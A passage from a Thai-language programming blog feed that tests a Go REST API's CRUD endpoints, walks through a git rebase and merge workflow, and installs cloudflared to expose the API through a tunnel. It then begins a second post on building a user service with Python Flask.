&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE23;&#xE31;&#xE01;&#xE29;&#xE32;&#xE04;&#xE27;&#xE32;&#xE21;&#xE2A;&#xE2D;&#xE14;&#xE04;&#xE25;&#xE49;&#xE2D;&#xE07;&#xE41;&#xE25;&#xE30;&#xE04;&#xE27;&#xE32;&#xE21;&#xE2A;&#xE21;&#xE1A;&#xE39;&#xE23;&#xE13;&#xE4C;&#xE02;&#xE2D;&#xE07; Dependency &#xE43;&#xE19; Project</p><pre><code>go mod tidy</code></pre><p>&#xE01;&#xE48;&#xE2D;&#xE19; Commit Code &#xE40;&#xE02;&#xE49;&#xE32; Git &#xE19;&#xE31;&#xE01;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE01;&#xE48;&#xE2D;&#xE19;&#xE27;&#xE48;&#xE32;&#xE21;&#xE31;&#xE19;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE44;&#xE14;&#xE49;</p><ul><li>Deploy API</li></ul><pre><code>docker-compose up -d</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/12/Screenshot-2024-12-28-at-5.55.18-PM.png" class="kg-image" alt loading="lazy" width="2000" height="1250" srcset="https://blog.pjjop.org/content/images/size/w600/2024/12/Screenshot-2024-12-28-at-5.55.18-PM.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/12/Screenshot-2024-12-28-at-5.55.18-PM.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/12/Screenshot-2024-12-28-at-5.55.18-PM.png 1600w, https://blog.pjjop.org/content/images/size/w2400/2024/12/Screenshot-2024-12-28-at-5.55.18-PM.png 2400w" sizes="(min-width: 720px) 720px"></figure><ul><li>&#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A; Container &#xE17;&#xE35;&#xE48; Deploy</li></ul><pre><code>docker-compose ps</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/12/Screenshot-2024-12-28-at-5.57.11-PM.png" class="kg-image" alt loading="lazy" width="2000" height="186" srcset="https://blog.pjjop.org/content/images/size/w600/2024/12/Screenshot-2024-12-28-at-5.57.11-PM.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/12/Screenshot-2024-12-28-at-5.57.11-PM.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/12/Screenshot-2024-12-28-at-5.57.11-PM.png 1600w, https://blog.pjjop.org/content/images/2024/12/Screenshot-2024-12-28-at-5.57.11-PM.png 2388w" sizes="(min-width: 720px) 720px"></figure><ul><li>&#xE14;&#xE39; Logs &#xE02;&#xE2D;&#xE07; Container &#xE17;&#xE35;&#xE48;&#xE23;&#xE31;&#xE19;</li></ul><pre><code>docker-compose logs</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/12/Screenshot-2024-12-28-at-9.21.06-PM.png" class="kg-image" alt loading="lazy" width="2000" height="529" srcset="https://blog.pjjop.org/content/images/size/w600/2024/12/Screenshot-2024-12-28-at-9.21.06-PM.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/12/Screenshot-2024-12-28-at-9.21.06-PM.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/12/Screenshot-2024-12-28-at-9.21.06-PM.png 1600w, https://blog.pjjop.org/content/images/2024/12/Screenshot-2024-12-28-at-9.21.06-PM.png 2366w" sizes="(min-width: 720px) 720px"></figure><ul><li>&#xE17;&#xE14;&#xE25;&#xE2D;&#xE07;&#xE22;&#xE34;&#xE07; API &#xE40;&#xE2A;&#xE49;&#xE19; /health &#xE1C;&#xE48;&#xE32;&#xE19; curl</li></ul><pre><code>curl http://localhost:8080/health</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/12/Screenshot-2024-12-28-at-5.59.38-PM.png" class="kg-image" alt loading="lazy" width="2000" height="161" srcset="https://blog.pjjop.org/content/images/size/w600/2024/12/Screenshot-2024-12-28-at-5.59.38-PM.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/12/Screenshot-2024-12-28-at-5.59.38-PM.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/12/Screenshot-2024-12-28-at-5.59.38-PM.png 1600w, https://blog.pjjop.org/content/images/2024/12/Screenshot-2024-12-28-at-5.59.38-PM.png 2366w" sizes="(min-width: 720px) 720px"></figure><ul><li>&#xE17;&#xE14;&#xE25;&#xE2D;&#xE07;&#xE22;&#xE34;&#xE07; API &#xE40;&#xE2A;&#xE49;&#xE19; /health &#xE1C;&#xE48;&#xE32;&#xE19; Postman</li></ul><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/12/Screenshot-2024-12-28-at-6.06.51-PM.png" class="kg-image" alt loading="lazy" width="2000" height="1250" srcset="https://blog.pjjop.org/content/images/size/w600/2024/12/Screenshot-2024-12-28-at-6.06.51-PM.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/12/Screenshot-2024-12-28-at-6.06.51-PM.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/12/Screenshot-2024-12-28-at-6.06.51-PM.png 1600w, https://blog.pjjop.org/content/images/size/w2400/2024/12/Screenshot-2024-12-28-at-6.06.51-PM.png 2400w" sizes="(min-width: 720px) 720px"></figure><ul><li>&#xE17;&#xE14;&#xE25;&#xE2D;&#xE07;&#xE14;&#xE36;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25; users &#xE17;&#xE31;&#xE49;&#xE07;&#xE2B;&#xE21;&#xE14;&#xE08;&#xE32;&#xE01; Database &#xE1C;&#xE48;&#xE32;&#xE19; Postman &#xE14;&#xE49;&#xE27;&#xE22; Method GET (&#xE15;&#xE49;&#xE2D;&#xE07;&#xE21;&#xE35; Bearer Token &#xE43;&#xE19; Header)</li></ul><pre><code>http://localhost:8080/api/v1/users</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/12/Screenshot-2024-12-28-at-6.07.48-PM.png" class="kg-image" alt loading="lazy" width="2000" height="1250" srcset="https://blog.pjjop.org/content/images/size/w600/2024/12/Screenshot-2024-12-28-at-6.07.48-PM.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/12/Screenshot-2024-12-28-at-6.07.48-PM.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/12/Screenshot-2024-12-28-at-6.07.48-PM.png 1600w, https://blog.pjjop.org/content/images/size/w2400/2024/12/Screenshot-2024-12-28-at-6.07.48-PM.png 2400w" sizes="(min-width: 720px) 720px"></figure><ul><li>&#xE17;&#xE14;&#xE25;&#xE2D;&#xE07;&#xE14;&#xE36;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25; users &#xE04;&#xE19;&#xE17;&#xE35;&#xE48; 1 &#xE08;&#xE32;&#xE01; Database &#xE1C;&#xE48;&#xE32;&#xE19; Postman &#xE14;&#xE49;&#xE27;&#xE22; Method GET (&#xE15;&#xE49;&#xE2D;&#xE07;&#xE21;&#xE35; Bearer Token &#xE43;&#xE19; Header)</li></ul><pre><code>http://localhost:8080/api/v1/users/1</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/12/Screenshot-2024-12-28-at-6.08.23-PM.png" class="kg-image" alt loading="lazy" width="2000" height="1250" srcset="https://blog.pjjop.org/content/images/size/w600/2024/12/Screenshot-2024-12-28-at-6.08.23-PM.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/12/Screenshot-2024-12-28-at-6.08.23-PM.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/12/Screenshot-2024-12-28-at-6.08.23-PM.png 1600w, https://blog.pjjop.org/content/images/size/w2400/2024/12/Screenshot-2024-12-28-at-6.08.23-PM.png 2400w" sizes="(min-width: 720px) 720px"></figure><ul><li>&#xE17;&#xE14;&#xE25;&#xE2D;&#xE07;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21; users &#xE43;&#xE2B;&#xE21;&#xE48;&#xE25;&#xE07; Database &#xE42;&#xE14;&#xE22;&#xE23;&#xE31;&#xE1A;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE41;&#xE1A;&#xE1A; JSON Format &#xE1C;&#xE48;&#xE32;&#xE19; Postman &#xE14;&#xE49;&#xE27;&#xE22; Method POST (&#xE15;&#xE49;&#xE2D;&#xE07;&#xE21;&#xE35; Bearer Token &#xE43;&#xE19; Header)</li></ul><pre><code>http://localhost:8080/api/v1/users</code></pre><figure class="kg-card kg-code-card"><pre><code>{
        &quot;name&quot;: &quot;apple&quot;,
        &quot;email&quot;: &quot;apple@email.com&quot;
}</code></pre><figcaption>JSON Format</figcaption></figure><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/12/Screenshot-2024-12-28-at-6.09.38-PM.png" class="kg-image" alt loading="lazy" width="2000" height="1250" srcset="https://blog.pjjop.org/content/images/size/w600/2024/12/Screenshot-2024-12-28-at-6.09.38-PM.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/12/Screenshot-2024-12-28-at-6.09.38-PM.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/12/Screenshot-2024-12-28-at-6.09.38-PM.png 1600w, https://blog.pjjop.org/content/images/size/w2400/2024/12/Screenshot-2024-12-28-at-6.09.38-PM.png 2400w" sizes="(min-width: 720px) 720px"></figure><ul><li>&#xE17;&#xE14;&#xE25;&#xE2D;&#xE07;&#xE41;&#xE01;&#xE49;&#xE44;&#xE02; Email &#xE02;&#xE2D;&#xE07; User &#xE04;&#xE19;&#xE17;&#xE35;&#xE48; 1 &#xE40;&#xE1B;&#xE47;&#xE19; nuttachot@hotmail.com &#xE1C;&#xE48;&#xE32;&#xE19; JSON Format &#xE14;&#xE49;&#xE27;&#xE22; Method PUT (&#xE15;&#xE49;&#xE2D;&#xE07;&#xE21;&#xE35; Bearer Token &#xE43;&#xE19; Header)</li></ul><pre><code>http://localhost:8080/api/v1/users/1</code></pre><pre><code>{
        &quot;name&quot;: &quot;nuttachot promrit&quot;,
        &quot;email&quot;: &quot;nuttachot@hotmail.com&quot;
}</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/12/Screenshot-2024-12-28-at-6.11.10-PM.png" class="kg-image" alt loading="lazy" width="2000" height="1250" srcset="https://blog.pjjop.org/content/images/size/w600/2024/12/Screenshot-2024-12-28-at-6.11.10-PM.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/12/Screenshot-2024-12-28-at-6.11.10-PM.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/12/Screenshot-2024-12-28-at-6.11.10-PM.png 1600w, https://blog.pjjop.org/content/images/size/w2400/2024/12/Screenshot-2024-12-28-at-6.11.10-PM.png 2400w" sizes="(min-width: 720px) 720px"></figure><ul><li>&#xE17;&#xE14;&#xE25;&#xE2D;&#xE07;&#xE25;&#xE1A; User &#xE04;&#xE19;&#xE17;&#xE35;&#xE48; 3 &#xE14;&#xE49;&#xE27;&#xE22; Method DELETE (&#xE15;&#xE49;&#xE2D;&#xE07;&#xE21;&#xE35; Bearer Token &#xE43;&#xE19; Header)</li></ul><pre><code>http://localhost:8080/api/v1/users/3</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/12/Screenshot-2024-12-28-at-6.12.03-PM.png" class="kg-image" alt loading="lazy" width="2000" height="1250" srcset="https://blog.pjjop.org/content/images/size/w600/2024/12/Screenshot-2024-12-28-at-6.12.03-PM.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/12/Screenshot-2024-12-28-at-6.12.03-PM.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/12/Screenshot-2024-12-28-at-6.12.03-PM.png 1600w, https://blog.pjjop.org/content/images/size/w2400/2024/12/Screenshot-2024-12-28-at-6.12.03-PM.png 2400w" sizes="(min-width: 720px) 720px"></figure><ul><li>&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE22;&#xE34;&#xE07; API &#xE41;&#xE15;&#xE48;&#xE25;&#xE30;&#xE40;&#xE2A;&#xE49;&#xE19;&#xE41;&#xE25;&#xE49;&#xE27;&#xE08;&#xE36;&#xE07; Commit Code &#xE40;&#xE02;&#xE49;&#xE32; Git &#xE14;&#xE49;&#xE27;&#xE22;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE19;&#xE35;&#xE49;</li></ul><pre><code>git add .

git commit -m &apos;rest api dev&apos;</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-12.31.12.png" class="kg-image" alt loading="lazy" width="2000" height="319" srcset="https://blog.pjjop.org/content/images/size/w600/2024/11/Screenshot-2567-11-09-at-12.31.12.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/11/Screenshot-2567-11-09-at-12.31.12.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/11/Screenshot-2567-11-09-at-12.31.12.png 1600w, https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-12.31.12.png 2000w" sizes="(min-width: 720px) 720px"></figure><p>&#xE14;&#xE39; History &#xE17;&#xE35;&#xE48; Commit</p><pre><code>git log --oneline</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-12.32.05.png" class="kg-image" alt loading="lazy" width="2000" height="169" srcset="https://blog.pjjop.org/content/images/size/w600/2024/11/Screenshot-2567-11-09-at-12.32.05.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/11/Screenshot-2567-11-09-at-12.32.05.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/11/Screenshot-2567-11-09-at-12.32.05.png 1600w, https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-12.32.05.png 2000w" sizes="(min-width: 720px) 720px"></figure><p>Rebase &#xE42;&#xE14;&#xE22;&#xE19;&#xE33;&#xE42;&#xE04;&#xE49;&#xE14;&#xE43;&#xE19; Branch &#xE02;&#xE2D;&#xE07;&#xE40;&#xE23;&#xE32;&#xE21;&#xE32; Update &#xE43;&#xE2B;&#xE49;&#xE15;&#xE23;&#xE07;&#xE01;&#xE31;&#xE1A; Trunk &#xE25;&#xE48;&#xE32;&#xE2A;&#xE38;&#xE14;</p><ul><li>&#xE41;&#xE15;&#xE48;&#xE01;&#xE48;&#xE2D;&#xE19; Rebase &#xE04;&#xE27;&#xE23;&#xE14;&#xE36;&#xE07;&#xE01;&#xE32;&#xE23;&#xE40;&#xE1B;&#xE25;&#xE35;&#xE48;&#xE22;&#xE19;&#xE41;&#xE1B;&#xE25;&#xE07;&#xE25;&#xE48;&#xE32;&#xE2A;&#xE38;&#xE14;&#xE08;&#xE32;&#xE01; Trunk &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE43;&#xE2B;&#xE49;&#xE41;&#xE19;&#xE48;&#xE43;&#xE08;&#xE27;&#xE48;&#xE32; Branch &#xE02;&#xE2D;&#xE07;&#xE40;&#xE23;&#xE32;&#xE2D;&#xE22;&#xE39;&#xE48;&#xE43;&#xE19;&#xE2A;&#xE16;&#xE32;&#xE19;&#xE30;&#xE25;&#xE48;&#xE32;&#xE2A;&#xE38;&#xE14; &#xE40;&#xE2B;&#xE21;&#xE37;&#xE2D;&#xE19;&#xE1A;&#xE19; Github Server</li></ul><pre><code>git checkout main

git pull origin main</code></pre><ul><li>Rebase &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE19;&#xE33;&#xE42;&#xE04;&#xE49;&#xE14;&#xE43;&#xE19; Branch &#xE02;&#xE2D;&#xE07;&#xE40;&#xE23;&#xE32;&#xE21;&#xE32; Update &#xE43;&#xE2B;&#xE49;&#xE15;&#xE23;&#xE07;&#xE01;&#xE31;&#xE1A; Trunk &#xE25;&#xE48;&#xE32;&#xE2A;&#xE38;&#xE14;</li></ul><pre><code>git checkout feature/restapi-dev

git rebase main</code></pre><ul><li>&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D; Code &#xE43;&#xE19; Branch feature/restapi-dev &#xE15;&#xE23;&#xE07;&#xE01;&#xE31;&#xE1A; Trank &#xE25;&#xE48;&#xE32;&#xE2A;&#xE38;&#xE14;&#xE41;&#xE25;&#xE49;&#xE27; &#xE08;&#xE36;&#xE07; Merge &#xE01;&#xE25;&#xE31;&#xE1A;&#xE44;&#xE1B;&#xE22;&#xE31;&#xE07; Trunk (&#xE16;&#xE49;&#xE32;&#xE21;&#xE35; Conflict &#xE43;&#xE2B;&#xE49;&#xE41;&#xE01;&#xE49;&#xE44;&#xE02; Conflict &#xE01;&#xE48;&#xE2D;&#xE19; Merge)</li></ul><pre><code>git checkout main
git merge feature/restapi-dev</code></pre><ul><li>Push Code &#xE02;&#xE36;&#xE49;&#xE19; Github Server</li></ul><pre><code>git push origin main</code></pre><ul><li>&#xE25;&#xE1A; Branch &#xE22;&#xE48;&#xE2D;&#xE22;&#xE17;&#xE35;&#xE48;&#xE40;&#xE2A;&#xE23;&#xE47;&#xE08;&#xE41;&#xE25;&#xE49;&#xE27;</li></ul><pre><code>git branch -d feature/restapi-dev</code></pre><ul><li>&#xE14;&#xE39; History &#xE17;&#xE31;&#xE49;&#xE07;&#xE2B;&#xE21;&#xE14;</li></ul><pre><code>git log --oneline</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-12.38.08.png" class="kg-image" alt loading="lazy" width="2000" height="196" srcset="https://blog.pjjop.org/content/images/size/w600/2024/11/Screenshot-2567-11-09-at-12.38.08.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/11/Screenshot-2567-11-09-at-12.38.08.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/11/Screenshot-2567-11-09-at-12.38.08.png 1600w, https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-12.38.08.png 2000w" sizes="(min-width: 720px) 720px"></figure><h2 id="expose-api-%E0%B9%83%E0%B8%AB%E0%B9%89%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B8%96%E0%B8%B6%E0%B8%87%E0%B8%88%E0%B8%B2%E0%B8%81-internet"><strong><strong><strong><strong><strong><strong><strong>Expose API &#xE43;&#xE2B;&#xE49;&#xE40;&#xE02;&#xE49;&#xE32;&#xE16;&#xE36;&#xE07;&#xE08;&#xE32;&#xE01; Internet</strong></strong></strong></strong></strong></strong></strong></h2><h3 id="%E0%B8%81%E0%B8%B2%E0%B8%A3%E0%B8%95%E0%B8%B4%E0%B8%94%E0%B8%95%E0%B8%B1%E0%B9%89%E0%B8%87-cloudflared-%E0%B8%9A%E0%B8%99-linux">&#xE01;&#xE32;&#xE23;&#xE15;&#xE34;&#xE14;&#xE15;&#xE31;&#xE49;&#xE07; Cloudflared &#xE1A;&#xE19; Linux</h3><pre><code>sudo apt update

sudo wget -O cloudflared https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64

sudo mv cloudflared /usr/local/bin/

sudo chmod +x /usr/local/bin/cloudflared

cloudflared --version

</code></pre><h3 id="%E0%B8%81%E0%B8%B2%E0%B8%A3%E0%B8%95%E0%B8%B4%E0%B8%94%E0%B8%95%E0%B8%B1%E0%B9%89%E0%B8%87-cloudflared-%E0%B8%9A%E0%B8%99-maxos">&#xE01;&#xE32;&#xE23;&#xE15;&#xE34;&#xE14;&#xE15;&#xE31;&#xE49;&#xE07; Cloudflared &#xE1A;&#xE19; maxOS</h3><pre><code># &#xE15;&#xE34;&#xE14;&#xE15;&#xE31;&#xE49;&#xE07; wget (macOS &#xE44;&#xE21;&#xE48;&#xE21;&#xE35; wget &#xE21;&#xE32;&#xE43;&#xE2B;&#xE49;&#xE15;&#xE31;&#xE49;&#xE07;&#xE41;&#xE15;&#xE48;&#xE15;&#xE49;&#xE19; &#xE2D;&#xE32;&#xE08;&#xE43;&#xE0A;&#xE49; brew &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE15;&#xE34;&#xE14;&#xE15;&#xE31;&#xE49;&#xE07;)
brew install wget

# Download File &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A; macOS (Darwin)
wget https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-darwin-amd64.tgz -O cloudflared.tgz

# &#xE41;&#xE15;&#xE01; File
tar -xvzf cloudflared.tgz

# &#xE40;&#xE1E;&#xE34;&#xE48;&#xE21; Permission &#xE43;&#xE2B;&#xE49; File executable &#xE44;&#xE14;&#xE49;
chmod +x cloudflared

# &#xE22;&#xE49;&#xE32;&#xE22; Binary File &#xE44;&#xE1B;&#xE22;&#xE31;&#xE07; /usr/local/bin
sudo mv cloudflared /usr/local/bin/cloudflared

# &#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A; Version
cloudflared --version
</code></pre><h3 id="%E0%B8%81%E0%B8%B2%E0%B8%A3%E0%B8%95%E0%B8%B4%E0%B8%94%E0%B8%95%E0%B8%B1%E0%B9%89%E0%B8%87-cloudflared-%E0%B8%9A%E0%B8%99-windows">&#xE01;&#xE32;&#xE23;&#xE15;&#xE34;&#xE14;&#xE15;&#xE31;&#xE49;&#xE07; Cloudflared &#xE1A;&#xE19; Windows</h3><ul><li>&#xE40;&#xE1B;&#xE34;&#xE14; Command Prompt &#xE14;&#xE49;&#xE27;&#xE22;&#xE2A;&#xE34;&#xE17;&#xE18;&#xE34;&#xE4C; Administrator</li></ul><pre><code># &#xE43;&#xE0A;&#xE49;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; curl &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D; Download File cloudflared.exe
curl -L -o cloudflared.exe https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-windows-amd64.exe

# &#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A; Version
cloudflared.exe --version</code></pre><h3 id="expose-api">Expose API</h3><ul><li>&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Cloudflare Tunnel</li></ul><pre><code>cloudflared tunnel --url http://localhost:8080</code></pre><ul><li>Copy URL &#xE17;&#xE35;&#xE48;&#xE44;&#xE14;&#xE49;&#xE19;&#xE33;&#xE44;&#xE1B;&#xE40;&#xE1B;&#xE34;&#xE14;&#xE1A;&#xE19; Browser &#xE42;&#xE14;&#xE22;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21; Path /health &#xE40;&#xE0A;&#xE48;&#xE19;</li></ul><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/12/Screenshot-2024-12-28-at-9.31.49-PM.png" class="kg-image" alt loading="lazy" width="2000" height="547" srcset="https://blog.pjjop.org/content/images/size/w600/2024/12/Screenshot-2024-12-28-at-9.31.49-PM.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/12/Screenshot-2024-12-28-at-9.31.49-PM.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/12/Screenshot-2024-12-28-at-9.31.49-PM.png 1600w, https://blog.pjjop.org/content/images/2024/12/Screenshot-2024-12-28-at-9.31.49-PM.png 2302w" sizes="(min-width: 720px) 720px"></figure><pre><code>https://processed-om-continued-communication.trycloudflare.com/health</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/12/Screenshot-2024-12-28-at-9.32.59-PM.png" class="kg-image" alt loading="lazy" width="1982" height="1032" srcset="https://blog.pjjop.org/content/images/size/w600/2024/12/Screenshot-2024-12-28-at-9.32.59-PM.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/12/Screenshot-2024-12-28-at-9.32.59-PM.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/12/Screenshot-2024-12-28-at-9.32.59-PM.png 1600w, https://blog.pjjop.org/content/images/2024/12/Screenshot-2024-12-28-at-9.32.59-PM.png 1982w" sizes="(min-width: 720px) 720px"></figure>]]></content:encoded></item><item><title><![CDATA[Python Back-End Development for Beginners]]></title><description><![CDATA[<figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/11/python-2.png" class="kg-image" alt loading="lazy" width="2000" height="1381" srcset="https://blog.pjjop.org/content/images/size/w600/2024/11/python-2.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/11/python-2.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/11/python-2.png 1600w, https://blog.pjjop.org/content/images/size/w2400/2024/11/python-2.png 2400w" sizes="(min-width: 720px) 720px"></figure><p><em><em>&#xE1A;&#xE17;&#xE04;&#xE27;&#xE32;&#xE21;&#xE42;&#xE14;&#xE22; &#xE1C;&#xE28;.&#xE14;&#xE23;.&#xE13;&#xE31;&#xE10;&#xE42;&#xE0A;&#xE15;&#xE34; &#xE1E;&#xE23;&#xE2B;&#xE21;&#xE24;&#xE17;&#xE18;&#xE34;&#xE4C;</em></em><br><em><em><a href="https://www.cp.su.ac.th/?ref=blog.pjjop.org">&#xE20;&#xE32;&#xE04;&#xE27;&#xE34;&#xE0A;&#xE32;&#xE04;&#xE2D;&#xE21;&#xE1E;&#xE34;&#xE27;&#xE40;&#xE15;&#xE2D;&#xE23;&#xE4C;</a></em></em><br><em><em>&#xE04;&#xE13;&#xE30;</em></em></p>]]></description><link>https://blog.pjjop.org/back-end-programming/</link><guid isPermaLink="false">672d4de80325e40001ec7e97</guid><dc:creator><![CDATA[Nuttachot Promrit]]></dc:creator><pubDate>Sat, 09 Nov 2024 05:47:43 GMT</pubDate><content:encoded><![CDATA[<figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/11/python-2.png" class="kg-image" alt loading="lazy" width="2000" height="1381" srcset="https://blog.pjjop.org/content/images/size/w600/2024/11/python-2.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/11/python-2.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/11/python-2.png 1600w, https://blog.pjjop.org/content/images/size/w2400/2024/11/python-2.png 2400w" sizes="(min-width: 720px) 720px"></figure><p><em><em>&#xE1A;&#xE17;&#xE04;&#xE27;&#xE32;&#xE21;&#xE42;&#xE14;&#xE22; &#xE1C;&#xE28;.&#xE14;&#xE23;.&#xE13;&#xE31;&#xE10;&#xE42;&#xE0A;&#xE15;&#xE34; &#xE1E;&#xE23;&#xE2B;&#xE21;&#xE24;&#xE17;&#xE18;&#xE34;&#xE4C;</em></em><br><em><em><a href="https://www.cp.su.ac.th/?ref=blog.pjjop.org">&#xE20;&#xE32;&#xE04;&#xE27;&#xE34;&#xE0A;&#xE32;&#xE04;&#xE2D;&#xE21;&#xE1E;&#xE34;&#xE27;&#xE40;&#xE15;&#xE2D;&#xE23;&#xE4C;</a></em></em><br><em><em>&#xE04;&#xE13;&#xE30;&#xE27;&#xE34;&#xE17;&#xE22;&#xE32;&#xE28;&#xE32;&#xE2A;&#xE15;&#xE23;&#xE4C;</em></em><br><em><em>&#xE21;&#xE2B;&#xE32;&#xE27;&#xE34;&#xE17;&#xE22;&#xE32;&#xE25;&#xE31;&#xE22;&#xE28;&#xE34;&#xE25;&#xE1B;&#xE32;&#xE01;&#xE23;</em></em></p><p>&#xE1A;&#xE17;&#xE04;&#xE27;&#xE32;&#xE21;&#xE19;&#xE35;&#xE49;&#xE1C;&#xE39;&#xE49;&#xE2D;&#xE48;&#xE32;&#xE19;&#xE08;&#xE30;&#xE44;&#xE14;&#xE49;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32; REST API &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A; User Service &#xE14;&#xE49;&#xE27;&#xE22; Flask &#xE0B;&#xE36;&#xE48;&#xE07;&#xE40;&#xE1B;&#xE47;&#xE19; Web Framework &#xE02;&#xE19;&#xE32;&#xE14;&#xE40;&#xE25;&#xE47;&#xE01;&#xE43;&#xE19; Python &#xE42;&#xE14;&#xE22;&#xE21;&#xE35; API Endpoint &#xE14;&#xE31;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE19;&#xE35;&#xE49;</p><ol><li>GET /api/v1/users</li><li>GET /api/v1/users/{user_id}</li><li>POST /api/v1/users</li><li>PUT /api/v1/users/{user_id}</li><li>DELETE /api/v1/users/{user_id}</li><li>GET /health</li></ol><p>&#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE43;&#xE0A;&#xE49; HTTP Verb (<strong><strong>Method</strong></strong>) &#xE2B;&#xE25;&#xE31;&#xE01; &#xE46; &#xE44;&#xE14;&#xE49;&#xE41;&#xE01;&#xE48; GET, POST, PUT &#xE41;&#xE25;&#xE30; DELETE &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE01;&#xE4D;&#xE32;&#xE2B;&#xE19;&#xE14;&#xE01;&#xE32;&#xE23;&#xE14;&#xE4D;&#xE32;&#xE40;&#xE19;&#xE34;&#xE19;&#xE01;&#xE32;&#xE23;&#xE17;&#xE35;&#xE48;&#xE40;&#xE23;&#xE32;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE17;&#xE33;&#xE44;&#xE14;&#xE49;&#xE01;&#xE31;&#xE1A; Resource &#xE02;&#xE2D;&#xE07; User Service</p><p>&#xE42;&#xE14;&#xE22; <strong><strong>GET</strong></strong> 